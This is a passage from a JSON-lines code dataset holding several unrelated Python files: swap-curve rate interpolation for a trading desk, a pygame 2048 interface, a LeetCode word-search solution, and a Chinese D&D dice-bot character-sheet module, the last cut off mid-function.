Info(edge.to,min_dist[edge.to]))\n\nfor i in range(V):\n    print(\"%d %d\"%(i,min_dist[i]))\n","sub_path":"AOJ/Lesson-ALDS1/alds1_12_c.py","file_name":"alds1_12_c.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"544336111","text":"'''\nPurpose               :  Calculate the intermediate points on the ZAR-SWAP curve for non standard resets\nDepartment and Desk   :  MO\nRequester             :  Martin vd Walt\nDeveloper             :  Anwar Banoo\nCR Number             :  208636\n\nPurpose               :  Interpolation missed the mpc dates due to incorrect date format\nDepartment and Desk   :  MO\nRequester             :  Martin vd Walt\nDeveloper             :  Anwar Banoo\nCR Number             :  217673\n\nPurpose               :  ECR - had to rename ael\nDepartment and Desk   :  MO\nRequester             :  Martin vd Walt\nDeveloper             :  Anwar Banoo\nCR Number             :  219979\n\nPurpose               :  Do not include index linked swaps as part of evaluation\nDepartment and Desk   :  MO\nRequester             :  Martin vd Walt\nDeveloper             :  Anwar Banoo\nCR Number             :  263149\n'''\n\nimport ael, acm\n\n#=====================================================================================\n\n'''\ndt = ael.date_today()\ndt_str = dt.to_string()\n'''\n\nlmpczar = acm.FList()\nlmpcusd = acm.FList()\nfxlist = acm.FDictionary()\n\n# ---------------------------------------------------------------------------\n# returns the fx rate\n# ccy is a list that can contain 1 or 2 parameters\n# if ccy only contains one parameter then the base ccy is assumed to be ZAR\n# if ccy contains 2 paramaters then the first entry will be taken as the base ccy\n# ---------------------------------------------------------------------------\n\ndef get_fx_rate(curr):\n    currency = curr[0][0]\n    \n    if currency in fxlist.Keys():        \n        return fxlist[currency]\n        \n    hccy = 'ZAR'\n    d = 0.0\n\n    if currency == hccy:\n        fxlist[currency] = 1.0\n        return 1.0\n\n    curr_base = ael.Instrument[hccy] \n    curr = ael.Instrument[currency]\n\n    dt = ael.date_today()\n\n    d = 1.0/curr_base.used_price(dt, curr.insid)\n    fxlist[currency] = d\n\n    return d\n\ndef setup_mpcZAR():\n    tsspec = acm.FTimeSeriesSpec['MO_MPC_ZAR']\n    ts = tsspec.TimeSeries()\n    for t in ts:\n        lmpczar.Add(t.Day())\n    lmpczar.Sort()\n\ndef setup_mpcUSD():\n    tsspec = acm.FTimeSeriesSpec['MO_MPC_USD']\n    ts = tsspec.TimeSeries()\n    for t in ts:\n        lmpcusd.Add(t.Day())\n    lmpcusd.Sort()\n    \ndef get_next_mpczar(repdte):\n    if lmpczar.Size() == 0:\n        setup_mpcZAR()\n        \n    for d in lmpczar:\n        if ael.date(d) > ael.date(repdte):\n            return ael.date(d)    \n    return -1\n\ndef get_next_mpcusd(repdte):\n    if lmpcusd.Size() == 0:\n        setup_mpcUSD()\n        \n    for d in lmpcusd:\n        if ael.date(d) > ael.date(repdte):\n            return d    \n    return -1\n\t\ndef mkt_rate_ZAR(params):\n    ccy = ael.Instrument['ZAR']        \n    \n    resetd = params[0][0]\n    resetd = ael.date_from_string(resetd)    \n\n    d1 = params[0][1] \n    d1 = ael.date_from_string(d1)\n\n    #mpc = params[0][2]\n    mpc = get_next_mpczar(d1) #ael.date_from_string(mpc)\n\n    done_mpc = 0\n    \n    mkt = []\n    mkt_dte = []\n    mkt_rt = []\n    \n    mkt.append('ZAR-JIBAR-3M')\n    mkt_dte.append(d1)\n    ins = ael.Instrument['ZAR-JIBAR-3M']\n    mkt_rt.append(ins.used_price()) \n\n    for k in range(1, 10):    \n        ins = ael.Instrument['ZAR/FRA/JI/' + str(k) + 'X' + str(k+3)]\n        dte = d1.add_months(k).adjust_to_banking_day(ccy)\n        rt = ins.used_price()        \n        \n        if dte > mpc and done_mpc == 0:\n            mkt.append('pre-mpc')        \n            mkt_dte.append(mpc)\n            mkt_rt.append( ael.Instrument['ZAR/FRA/JI/PRE_MPC'].used_price())\n            \n            mkt.append('post-mpc')        \n            mkt_dte.append(mpc.add_days(1).adjust_to_banking_day(ccy))\n            mkt_rt.append( ael.Instrument['ZAR/FRA/JI/POST_MPC'].used_price())\n            \n            done_mpc = -1\n        \n        mkt.append(ins.insid)        \n        mkt_dte.append(dte)\n        mkt_rt.append(rt)\n\n    return lin_interp(mkt_dte, mkt_rt, resetd)\n\n#=====================================================================================\n\ndef mkt_rate_USD(params):    \n\n    ccy = ael.Instrument['USD']        \n    d1 = params[0][1]        \n    \n    mpc = get_next_mpcusd(d1) #params[0][2]\n    done_mpc = 0\n    \n    mkt = []\n    mkt_dte = []\n    mkt_rt = []\n    \n    mkt.append('USD-LIBOR-3M')\n    mkt_dte.append(d1)\n    ins = ael.Instrument['USD-LIBOR-3M']\n    mkt_rt.append(ins.used_price())\n    \n    for k in range(1, 10):    \n        ins = ael.Instrument['USD/FRA/LI/' + str(k) + 'X' + str(k+3) ]\n        dte = d1.add_months(k).adjust_to_banking_day(ccy)\n        rt = ins.used_price()\n        \n        if dte > mpc and done_mpc == 0:\n            mkt.append('pre-mpc')        \n            mkt_dte.append(mpc)\n            mkt_rt.append( mkt_rt[len(mkt_rt)-1] )\n            \n            mkt.append('post-mpc')        \n            mkt_dte.append(mpc.add_days(1))\n            mkt_rt.append(rt)\n            \n            done_mpc = -1\n        \n        mkt.append(ins.insid)        \n        mkt_dte.append(dte)\n        mkt_rt.append(rt)\n\n    return lin_interp(mkt_dte, mkt_rt, params[0][0])\t\n\t\n#=====================================================================================\n\ndef lin_interp(x, y, val): \n    if val <= x[0]:\n        return y[0]\n        \n    for k in range(1, len(x)):\n        if x[k] > val:\n            n = x[k-1].days_between(x[k]) * 1.0\n            n1 = x[k-1].days_between(val) * 1.0\n            n2 = n - n1            \n            interp = n1/n * y[k] + n2/n * y[k-1]\n            return interp\n    \n    return y[ len(y)-1 ]\n\t\n#=====================================================================================\n   \ndef ExcludeBasisTrades(trade):    \n    Check = 0\n    trd = acm.FTrade[trade[0][0]]    \n    if trd.Instrument().InsType == 'IndexLinkedSwap':\n        return '2'\n        \n    legs = trd.Instrument().Legs()\n    #legs = ins.Legs()\n    for l in legs:\n        if l.LegType() == 'Float':\n            Check = Check + 1\n    if Check < 2:\n        return trd.Name()        \n    else:\n        return '2'\n\n\n","sub_path":"Python modules/IRD_SHORT_END_PROV_FINAL_II.py","file_name":"IRD_SHORT_END_PROV_FINAL_II.py","file_ext":"py","file_size_in_byte":6029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"145672850","text":"import pygame\nimport math\n\n# Define original font size\nFONTSIZE = 35\n\n# Define some colors\n\nBLACK    = (   0,   0,   0)\nWHITE    = ( 255, 255, 255)\n\nRED      = ( 255,   0,   0)\nGREEN    = (   0, 255,   0)\nBLUE     = (   0,   0, 255)\n\nPASTEL   = ( 249, 247, 235)\nGOLD     = ( 231, 186,   9)\nBOARD    = ( 172, 157, 143)\n\nFONT     = (  99,  91,  82)\n\n# Define tile info\n\nTILE_INFO    = {0    : (( 192, 179, 165), FONT),\n                2    : (( 234, 222, 209), FONT),\n                4    : (( 232, 218, 188), FONT),\n                8    : (( 237, 161, 102), WHITE),\n               16    : (( 229, 121,  67), WHITE),\n               32    : (( 245, 102,  73), WHITE),\n               64    : (( 226,  66,  42), WHITE),\n              128    : (( 239, 209,  89), WHITE),\n              256    : (( 234, 196,  71), WHITE),\n              512    : (( 221, 181,  33), WHITE),\n             1024    : (( 234, 188,  36), WHITE),\n             2048    : (( 231, 186,  11), WHITE),\n             'other' : ((  47,  44,  38), WHITE)}\n\ndef draw_square(screen, color, x, y, width, radius = 5):\n    if width < 2 * radius:\n        pygame.draw.ellipse(screen, color, [x,y,width,width], 5)\n    else:\n        pygame.draw.rect(screen, color, [x + radius, y, width - 2 * radius, width], 0)\n        pygame.draw.rect(screen, color, [x, y + radius, width, width  - 2 * radius], 0)\n        pygame.draw.ellipse(screen, color, [x, y, 2 * radius, 2 * radius], 0)\n        pygame.draw.ellipse(screen, color, [x + width - 2 * radius, y, 2 * radius, 2 * radius], 0)        \n        pygame.draw.ellipse(screen, color, [x, y + width - 2 * radius, 2 * radius, 2 * radius], 0)\n        pygame.draw.ellipse(screen, color, [x + width - 2 * radius, y + width - 2 * radius, 2 * radius, 2 * radius], 0)\n\n\nclass tile():\n    \n    def __init__(self, value):\n        self.__value = value\n\n        if value < 4096:\n            self.__color     = TILE_INFO[value][0]\n            self.__fontcolor = TILE_INFO[value][1]\n        else:\n            self.__color     = TILE_INFO['other'][0]\n            self.__fontcolor = TILE_INFO['other'][1]\n\n        if value < 100:\n            self.__fontsize  = FONTSIZE\n        else:\n            self.__fontsize  = int(2 * FONTSIZE / (math.log10(value) + 1))            \n\n        self.__text = pygame.font.SysFont('arialroundedmtbold', self.__fontsize, False, False)\n        self.__text = self.__text.render(str(value), True, self.__fontcolor)\n            \n            \n    def draw(self, screen, l, c):\n        draw_square(screen, self.__color, 20 + (c - 1) * 75, 190 + (l - 1) * 75, 65, 4)\n        if self.__value > 0:\n            text_rect = self.__text.get_rect()\n            text_rect.centerx = 53 + (c - 1) * 75\n            text_rect.centery = 223 + (l - 1) * 75\n            screen.blit(self.__text, text_rect) \n\nclass window_2048():\n    \n    def __init__(self):\n        \n        # Initialize pygame\n        pygame.init()\n        \n        # Initialize game window\n        size = (330, 500)\n        self.__screen = pygame.display.set_mode(size)        \n        pygame.display.set_caption(\"2048\")\n        \n        # Initialize clock\n        self.__clock = pygame.time.Clock()\n        \n        # Initial canvas: background\n        self.__screen.fill(PASTEL)\n        \n        # Initial canvas: 2048 tile\n        draw_square(self.__screen, GOLD,   10, 10,  90, 8)\n\n        text = pygame.font.SysFont('arialroundedmtbold', 30, False, False)\n        text = text.render(\"2048\", True, WHITE)        \n        text_rect = text.get_rect()\n        text_rect.centerx = 55\n        text_rect.centery = 55\n\n        self.__screen.blit(text, text_rect)\n        \n        # Initial canvas: clean board\n        draw_square(self.__screen, BOARD, 10, 180, 310, 8)\n                \n    \n    def get_play(self):\n        \n        for event in pygame.event.get(): # User did something\n            if event.type == pygame.QUIT: # If user clicked close\n                pygame.quit()\n                return 'Q'\n    \n            # User pressed down on a key\n            elif event.type == pygame.KEYDOWN:\n                # Figure out if it was an arrow key.\n                if event.key == pygame.K_LEFT:\n                    return 'W'\n    \n                if event.key == pygame.K_RIGHT:\n                    return 'E'\n    \n                if event.key == pygame.K_UP:\n                    return 'N'\n    \n                if event.key == pygame.K_DOWN:\n                    return 'S'\n                \n    \n    def draw_tile(self, value, l, c):\n        # First, clear the screen to white. Don't put other drawing commands\n        # above this, or they will be erased with this command.\n        \n        tile(value).draw(self.__screen, l, c)\n        pygame.display.flip()\n        \n    def step(self):\n        self.__clock.tick(30)\n","sub_path":"1st_Year/FP/2nd_Project/proj2/pygame/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":4781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"652580946","text":"# https://leetcode.com/problems/word-search/\n'''\nGiven a 2D board and a word, find if the word exists in the grid.\n\nThe word can be constructed from letters of sequentially adjacent cell, where \"adjacent\" cells are those horizontally or vertically neighboring. The same letter cell may not be used more than once.\n\nFor example,\nGiven board =\n\n[\n  [\"ABCE\"],\n  [\"SFCS\"],\n  [\"ADEE\"]\n]\nword = \"ABCCED\", -> returns true,\nword = \"SEE\", -> returns true,\nword = \"ABCB\", -> returns false.\nHide Tags Array Backtracking\n'''\n\n\nclass Solution:\n\n    def __init__(self):\n        self._visited = set()\n\n    # @param board, a list of lists of 1 length string\n    # @param word, a string\n    # @return a boolean\n    # Time Limited Exceed\n    def exist(self, board, word):\n        self._visited = set()\n        if not board or not board[0]:\n            return False\n        for i in range(len(board)):\n            for j in range(len(board[0])):\n                if board[i][j] == word[0]:\n                    ch, board[i][j] = board[i][j], '#'\n                    res = self._dfs(board, i, j, word, 1)\n                    board[i][j] = ch\n                    if res == True:\n                        return True\n        return False\n\n    def _dfs(self, board, i, j, word, idx):\n        if idx == len(word):\n            return True\n        else:\n            for (ii, jj) in self._get_children(board, i, j):\n                if board[ii][jj] == word[idx]:\n                    ch, board[ii][jj] = board[ii][jj], '#'\n                    res = self._dfs(board, ii, jj, word, idx + 1)\n                    board[ii][jj] = ch\n                    if res == True:\n                        return True\n            return False\n\n    def _get_children(self, board, i, j):\n        l_idx = i - 1\n        r_idx = i + 1\n        u_idx = j - 1\n        d_idx = j + 1\n        max_idx_i = len(board) - 1\n        max_idx_j = len(board[0]) - 1\n        res = []\n        if l_idx >= 0:\n            res.append((l_idx, j))\n        if r_idx <= max_idx_i:\n            res.append((r_idx, j))\n        if u_idx >= 0:\n            res.append((i, u_idx))\n        if d_idx <= max_idx_j:\n            res.append((i, d_idx))\n        return res\n","sub_path":"word-search/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"255681585","text":"import math\n\nfrom .tool_dice import *\nfrom .info_game import *\n\ndef SetPlayerInfo(bot, groupId, personId, infoStr) -> str:\n    try:\n        pcState = bot.pcStateDict[groupId][personId]\n    except:\n        CreateHP(bot, groupId, personId, 0)\n        pcState = bot.pcStateDict[groupId][personId]\n\n    # linesep = os.linesep\n    linesep = '\\n'\n\n    infoStr = infoStr.strip()\n    infoLength = len(infoStr)\n    numberStrList = [str(n) for n in range(10)] + [' ']\n    pcAbilityList = list(PC_ABILITY_DICT.keys())\n    # 处理六大基本属性和熟练加值\n    for ability in pcAbilityList + ['熟练加值']:\n        index = infoStr.find(ability)\n        if index == -1:\n            return f'无法找到关键词\"{ability}\", 请查看.角色卡模板'\n        # 找到属性值字符串\n        index += len(ability) + 1\n        lastIndex = index\n        for i in range(index, infoLength):\n            if infoStr[i] in numberStrList:\n                lastIndex = i+1\n            else:\n                break\n        abilityVal = infoStr[index:lastIndex].strip()\n        try:\n            abilityVal = int(abilityVal)\n            assert abilityVal >=0 and abilityVal <= 99\n            pcState[ability] = abilityVal\n            pcState['额外'+ability] = ''\n        except:\n            return f'关键词\"{ability}\"对应的属性值\"{abilityVal}\"无效, 请查看.角色卡模板'\n\n    # 计算基础属性调整值\n    for ability in pcAbilityList:\n        pcState[ability+'调整值'] = math.floor((pcState[ability]-10)/2)\n    pcState['无调整值'] = 0\n\n    # 初始化技能加值,豁免加值,攻击加值与额外加值\n    checkKeywordList = list(PC_CHECK_DICT_SHORT.keys())\n    profAbleKeywordList = list(PC_SKILL_DICT.keys()) + list(PC_SAVING_DICT.keys())\n    for key in checkKeywordList:\n        pcState[key] = pcState[PC_CHECK_DICT_SHORT[key]]\n        pcState['额外'+key] = ''\n\n    # 给技能, 豁免, 攻击加上熟练加值\n    index = infoStr.find('熟练项:')\n    lastIndex = infoStr[index:].find(linesep)\n    if index == -1:\n        return f'无法找到关键词\"熟练项\", 请查看.角色卡模板'\n    if lastIndex == -1:\n        lastIndex = infoLength\n    else:\n        lastIndex += index\n    index += 4\n    pcState['熟练项'] = []\n    profList = [p.strip() for p in infoStr[index:lastIndex].split('/') if p.strip()]\n    \n    for profItem in profList:\n        if profItem in PC_SKILL_SYNONYM_DICT.keys():\n            profItem = PC_SKILL_SYNONYM_DICT[profItem]\n\n        if profItem in profAbleKeywordList:\n            pcState[profItem] += pcState['熟练加值']\n            pcState['熟练项'].append(profItem)\n        else:\n            return f'{profItem}不是有效的熟练关键词, 请查看.角色卡模板'\n    # 默认给所有攻击加上熟练加值\n    for attack in PC_ATTACK_DICT.keys():\n        pcState[attack] += pcState['熟练加值']\n\n    pcState['额外加值'] = []\n    \n    if '额外加值:' in infoStr:\n        index = infoStr.find('额外加值:') + 5\n        lastIndex = infoStr[index:].find(linesep)\n        if lastIndex == -1:\n            lastIndex = infoLength\n        else:\n            lastIndex += index\n        additionList = [p.strip() for p in infoStr[index:lastIndex].split('/') if p.strip()]\n        for additionItem in additionList:\n            if '+' in additionItem:\n                index = additionItem.find('+')\n            elif '-' in additionItem:\n                index = additionItem.find('-')\n            else:\n                return f'额外加值{additionItem}必须包含\"+\"或\"-\", 请查看.角色卡模板'\n            checkItem = additionItem[:index]\n            addStr = additionItem[index:]\n            if not isDiceCommand(addStr):\n                return f'额外加值中的{addStr}不是有效的加值, 请查看.角色卡模板'\n\n            if checkItem in PC_SKILL_SYNONYM_DICT.keys():\n                checkItem = PC_SKILL_SYNONYM_DICT[checkItem]\n\n            if checkItem in checkKeywordList:\n                pcState['额外'+checkItem] += addStr\n            elif checkItem == '豁免':  # 如: 豁免+2\n                for saving in PC_SAVING_DICT.keys():\n                    pcState['额外'+saving] += addStr\n            elif checkItem == '检定':  # 如: 豁免+2\n                for ability in PC_ABILITY_DICT.keys():\n                    pcState['额外'+ability] += addStr\n                for skill in PC_SKILL_DICT.keys():\n                    pcState['额外'+skill] += addStr\n            else:\n                return f'额外加值中的{checkItem}不是有效的熟练关键词, 请查看.角色卡模板'\n            pcState['额外加值'].append(additionItem)\n    if 'hp:' in infoStr:\n        index = infoStr.find('hp:') + 3\n        lastIndex = infoStr[index:].find(linesep)\n        if lastIndex == -1:\n            lastIndex = infoLength\n        else:\n            lastIndex += index\n        hpList = [p.strip() for p in infoStr[index:lastIndex].split('/') if p.strip()]\n        try:\n            pcState['hp'] = int(hpList[0])\n            pcState['maxhp'] = int(hpList[1])\n        except:\n            return f'{infoStr[index:lastIndex]} 不是有效的生命值信息'\n\n    if '姓名' in infoStr:\n        index = infoStr.find('姓名:') + 3\n        lastIndex = infoStr[index:].find(linesep)\n        if lastIndex == -1:\n            lastIndex = infoLength\n        else:\n            lastIndex += index\n        nickName = infoStr[index:lastIndex].strip()\n        if nickName:\n            bot.UpdateNickName(groupId, personId, nickName)\n\n    if '最大法术位' in infoStr:\n        index = infoStr.find('最大法术位:') + 6\n        lastIndex = infoStr[index:].find(linesep)\n        if lastIndex == -1:\n            lastIndex = infoLength\n        else:\n            lastIndex += index\n        command = infoStr[index:lastIndex].strip()\n        if command:\n            error, feedback = SetSpellSlot(bot, groupId, personId, command)\n            if error != 0:\n                return feedback\n\n    if '金钱:' in infoStr:\n        index = infoStr.find('金钱:') + 3\n        lastIndex = infoStr[index:].find(linesep)\n        if lastIndex == -1:\n            lastIndex = infoLength\n        else:\n            lastIndex += index\n        command = infoStr[index:lastIndex].strip()\n        if command:\n            error, feedback = SetMoney(bot, groupId, personId, command)\n            if error != 0:\n                return feedback\n    return '记录角色卡成功, 查看角色卡请输入.角色卡 或.角色卡 完整\\n更多相关功能请查询.help检定, .helphp, .help法术位'\n\ndef GetPlayerInfo(bot, groupId, personId, name)->str:\n    try:\n        pcState = bot.pcStateDict[groupId][personId]\n        pcState['熟练加值']\n    except:\n        return f'{name}还没有记录角色卡呢~'\n\n    result = f'姓名:{name}\\n'\n    if pcState['hp'] != 0 and pcState['maxhp'] != 0:\n        result += f'hp:{pcState[\"hp\"]}/{pcState[\"maxhp\"]}\\n'\n\n    for ability in PC_ABILITY_DICT.keys():\n        result += f'{ability}:{pcState[ability]} '\n    result = f'{result[:-1]}\\n熟练加值:{pcState[\"熟练加值\"]}  熟练项:'\n    for profItem in pcState['熟练项']:\n        result += f'{profItem}/'\n    result = result[:-1]\n\n    if len(pcState['额外加值']) != 0:\n        result += '\\n额外加值:'\n        for additionItem in pcState['额外加值']:\n            result += f'{additionItem}/'\n        result = result[:-1]\n\n    try:\n        maxSlotList = pcState['最大法术位']\n        newResult = result + '\\n最大法术位:'\n        for i in range(9):\n            newResult += f'{maxSlotList[i]}/'\n        result = newResult[:-1]\n    except:\n        pass\n\n    try:\n        moneyList = pcState['金钱']\n        result += f'\\n金钱:{moneyList[0]}gp'\n        if moneyList[1] != 0:\n            result += f' {moneyList[1]}sp'\n        if moneyList[2] != 0:\n            result += f' {moneyList[2]}sp'\n    except:\n        pass\n\n    return result\n\ndef GetPlayerInfoShort(bot, groupId, personId, name)->str:\n    try:\n        pcState = bot.pcStateDict[groupId][personId]\n        pcState['熟练加值']\n    except:\n        return f'{name}还没有记录角色卡呢~'\n\n    result = name\n    try:\n        hp = pcState['hp']\n        result += f' hp:{hp}'\n    except: pass\n    try:\n        maxhp = pcState['maxhp']\n        result += f'/{maxhp}'\n    except: pass\n    try:\n        moneyList = pcState['金钱']\n        result += f' 金钱:{moneyList[0]}gp'\n        if moneyList[1] != 0:\n            result += f' {moneyList[1]}sp'\n        if moneyList[2] != 0:\n            result += f' {moneyList[2]}sp'\n    except:\n        pass\n    try:\n        currentSlotList = pcState['当前法术位']\n        maxSlotList = pcState['最大法术位']\n        highestSlot = -1\n        for i in range(9):\n            if currentSlotList[i] != 0 or maxSlotList[i] != 0:\n                highestSlot = i+1\n        assert highestSlot != -1\n        result += ' 法术位:'\n        for i in range(highestSlot):\n            result += f'{currentSlotList[i]}({maxSlotList[i]})/'\n        result = result[:-1]\n    except: pass\n    return result\n\ndef GetPlayerInfoFull(bot, groupId, personId, name)->str:\n    try:\n        pcState = bot.pcStateDict[groupId][personId]\n        pcState['熟练加值']\n    except:\n        return f'{name}还没有记录角色卡呢~'\n\n    result = f'姓名:{name} '\n    if pcState['hp'] != 0 and pcState['maxhp'] != 0:\n        result += f'hp:{pcState[\"hp\"]}/{pcState[\"maxhp\"]} '\n    try:\n        moneyList = pcState['金钱']\n        result += f'金钱:{moneyList[0]}gp'\n        if moneyList[1] != 0:\n            result += f' {moneyList[1]}sp'\n        if moneyList[2] != 0:\n            result += f' {moneyList[2]}sp'\n    except:\n        pass\n    result += f'熟练加值:{pcState[\"熟练加值\"]}\\n'\n\n    for ability in PC_ABILITY_DICT.keys():\n        result += f'{ability}:{pcState[ability]} 调整值:{pcState[ability+\"调整值\"]} '\n        result += f'检定:{pcState[ability+\"调整值\"]}{pcState[\"额外\"+ability]} 豁免:{pcState[ability+\"豁免\"]}{pcState[\"额外\"+ability+\"豁免\"]}\\n'\n    result += f'技能:\\n'\n    current = '力量调整值'\n    for skill in PC_SKILL_DICT.keys():\n        if current != PC_SKILL_DICT[skill]:\n            result += '\\n'\n            current = PC_SKILL_DICT[skill]\n        result += f'{skill}:{pcState[skill]}{pcState[\"额外\"+skill]}  '\n    result = result[:-2]\n\n    try:\n        currentSlotList = pcState['当前法术位']\n        maxSlotList = pcState['最大法术位']\n        highestSlot = -1\n        for i in range(9):\n            if currentSlotList[i] != 0 or maxSlotList[i] != 0:\n                highestSlot = i+1\n        assert highestSlot != -1\n        result += '\\n法术位:'\n        for i in range(highestSlot):\n            result += f'{currentSlotList[i]}({maxSlotList[i]})/'\n        result = result[:-1]\n    except: pass\n\n    return result\n    \ndef PlayerCheck(bot, groupId, personId, item, times, diceCommand, nickName) -> (int, str):\n    try:\n        pcState = bot.pcStateDict[groupId][personId]\n        pcState['熟练加值']\n    except:\n        return -1, '请先记录角色卡~'\n    if times <= 0 or times >=10:\n        return -1, '次数不合法!'\n\n    if diceCommand.find('抗性') != -1 or diceCommand.find('易伤') != -1:\n        return -1, '抗性与易伤关键字不能出现在此处!'\n\n    if item in PC_SKILL_SYNONYM_DICT.keys():\n        item = PC_SKILL_SYNONYM_DICT[item]\n\n    if not item in PC_CHECK_DICT_SHORT.keys():\n        if item in PC_ABILITY_DICT.keys():\n            itemKeyword = item + '调整值'\n        else:\n            return -1, f'关键字{item}无效~'\n    else:\n        itemKeyword = item\n\n    #diceCommand 必须为调整值\n    if not diceCommand or diceCommand[0] in ['+','-'] or diceCommand[:2] in ['优势','劣势']: #通过符号判断\n        if pcState[itemKeyword] != 0:\n            completeCommand = 'd20'+diceCommand+int2str(pcState[itemKeyword])+pcState['额外'+item]\n        else:\n            completeCommand = 'd20'+diceCommand+pcState['额外'+item]\n        if times!=1:\n            completeCommand = f'{times}#{completeCommand}'\n        error, resultStr, rollResult = RollDiceCommand(completeCommand)\n        if error != 0: return -1, resultStr\n        checkResult = rollResult.totalValueList[0]\n    else:\n        return -1, f'输入的指令有点问题呢~'\n\n    result = ''\n    if not '豁免' in item: #说明是属性检定\n        result += f'{nickName}在{item}检定中掷出了{resultStr}'\n    else:\n        result += f'{nickName}在{item}中掷出了{resultStr}'\n    if times == 1:\n        if rollResult.rawResultList[0][0] == 20: result += ' 大成功!'\n        elif rollResult.rawResultList[0][0] == 1: result += ' 大失败!'\n    else:\n        succTimes = 0\n        failTimes = 0\n        for t in range(times):\n            if rollResult.rawResultList[t][0] == 20: succTimes += 1\n            elif rollResult.rawResultList[t][0] == 1: failTimes += 1\n        if succTimes != 0:\n            result += f' {succTimes}次大成功!'\n        if failTimes != 0:\n            result += f' {failTimes}次大失败!'\n\n    if item == '先攻':\n        bot.JoinInitList(groupId, personId, nickName, '0'+int2str(checkResult), isPC=True)\n        result += f'\\n已将{nickName}加入先攻列表'\n    return 0, result\n\ndef ClearPlayerInfo(bot, groupId, personId):\n    try:\n        del bot.pcStateDict[groupId][personId]\n    except:\n        pass\n\ndef UpdateHP(bot, groupId, personId, targetStr, subType, hpStr, maxhpStr, nickName) -> str:\n    hp = None\n    maxhp = None\n    if subType != '=' and maxhpStr:\n        return '增加或减少生命值的时候不能修改最大生命值哦'\n    # 先尝试解读hpStr和maxhpStr\n    error, resultStrHp, rollResult = RollDiceCommand(hpStr)\n    if error: return error\n    try:\n        hp = rollResult.totalValueList[0]\n    except Exception as e:\n        print(e)\n        return f'无法解释生命值参数{hpStr}呢...'\n    if hp < 0:\n        return f'hp数值{resultStrHp}为负数, 没有修改hp数值'\n\n    if maxhpStr:\n        try:\n            maxhp = int(maxhpStr)\n            assert maxhp > 0\n        except:\n            return f'无法解释最大生命值参数{maxhpStr}呢...'\n\n    if not targetStr: # 不指定目标说明要修改自己的生命值信息\n        try:\n            pcState = bot.pcStateDict[groupId][personId]\n            pcState['hp']\n        except:\n            CreateHP(bot, groupId, personId)\n            pcState = bot.pcStateDict[groupId][personId]\n\n        pcState, result = ModifyHPInfo(pcState, subType, hp, maxhp, nickName, resultStrHp)\n\n        bot.pcStateDict[groupId][personId] = pcState\n    else:\n        targetList = targetStr.split('/')\n        result = ''\n        for targetStr in targetList:\n            # 尝试对先攻列中的目标修改生命值信息\n            try: #查找已存在的先攻信息\n                initInfo = bot.initInfoDict[groupId]\n            except: #如未找到, 返回错误信息\n                return '只能指定在先攻列表中的其他角色, 请先建立先攻列表吧~'\n\n            # 尝试搜索targetStr有关的信息\n            if not targetStr in initInfo['initList'].keys(): \n                possName = []\n                for k in initInfo['initList'].keys():\n                    if k.find(targetStr) != -1:\n                        possName.append(k)\n                if len(possName) == 0:\n                    return f'在先攻列表中找不到与\"{targetStr}\"相关的名字哦'\n                elif len(possName) > 1:\n                    return f'在先攻列表找到多个可能的名字: {[ n for n in possName]}'\n                else:\n                    targetStr = possName[0]\n\n            targetInfo = initInfo['initList'][targetStr]\n            # 如果指定的目标是pc, 则直接修改pcStateDict然后返回\n            if targetInfo['isPC']:\n                targetId = targetInfo['id']\n                try:\n                    pcState = bot.pcStateDict[groupId][targetId]\n                    pcState['hp']\n                except:\n                    CreateHP(bot, groupId, targetId)\n                    pcState = bot.pcStateDict[groupId][targetId]\n\n                pcState, resultCur = ModifyHPInfo(pcState, subType, hp, maxhp, targetStr, resultStrHp)\n                bot.pcStateDict[groupId][targetId] = pcState\n            # 否则修改先攻列表中的信息并保存\n            else:\n                targetInfo, resultCur = ModifyHPInfo(targetInfo, subType, hp, maxhp, targetStr, resultStrHp)\n                bot.initInfoDict[groupId]['initList'][targetStr] = targetInfo\n            if result == '':\n                result = resultCur\n            else:\n                result += '\\n'+resultCur\n\n    return result\n\ndef CreateHP(bot, groupId, personId, hp=0, maxhp=0):\n    try:\n        assert type(bot.pcStateDict[groupId]) == dict\n    except:\n        bot.pcStateDict[groupId] = {}\n    try:\n        pcState = bot.pcStateDict[groupId][personId]\n    except:\n        pcState = {}\n    pcState.update({'hp':hp, 'maxhp':maxhp, 'alive':True})\n    bot.pcStateDict[groupId][personId] = pcState\n\ndef ClearHP(bot, groupId, personId):\n    try:\n        bot.pcStateDict[groupId][personId]['hp'] = 0\n        bot.pcStateDict[groupId][personId]['maxhp'] = 0\n    except:\n        pass\n\ndef ShowHP(bot, groupId, personId) -> str:\n    try:\n        hp = bot.pcStateDict[groupId][personId]['hp']\n        maxhp = bot.pcStateDict[groupId][personId]['maxhp']\n        result = f'当前生命值为{hp}'\n        if maxhp != 0:\n            result += f'/{maxhp}'\n        return result\n    except:\n        return '还没有设置生命值呢~'\n\ndef SetSpellSlot(bot, groupId, personId, commandStr) -> (int, str):\n    # commandStr示例: 4/2/0/0/0/0\n    maxSpellSlotList = [0]*9\n    sizeStrList = commandStr.split('/')\n    isValid = False\n    index = 0\n    if len(sizeStrList)>9:\n        return -1, '唔...法术环位好像最高只有九环呢...'\n    for sizeStr in sizeStrList:\n        try:\n            size = int(sizeStr)\n            maxSpellSlotList[index] = size\n            assert size >=0 and size < 100\n            if size > 0:\n                isValid = True\n        except:\n            return -1, f'{index+1}环法术位大小{sizeStr}无效~'\n        index += 1\n\n    try:\n        assert bot.pcStateDict[groupId]\n    except:\n        bot.pcStateDict[groupId] = {}\n    try:\n        pcState = bot.pcStateDict[groupId][personId]\n    except:\n        pcState = {}\n    if isValid:\n        pcState['最大法术位'] = maxSpellSlotList\n        pcState['当前法术位'] = maxSpellSlotList.copy()\n        bot.pcStateDict[groupId][personId] = pcState\n        return 0, '法术环位已经记录好了~'\n    else:\n        return -1, '不会施法就请不要记录法术位咯~'\n\ndef ClearSpellSlot(bot, groupId, personId) -> str:\n    try:\n        del bot.pcStateDict[groupId][personId]['最大法术位']\n        del bot.pcStateDict[groupId][personId]['当前法术位']\n    except:\n        pass\n    return '已经将法术位信息忘记啦~'\n\ndef ShowSpellSlot(bot, groupId, personId) -> str:\n    try:\n        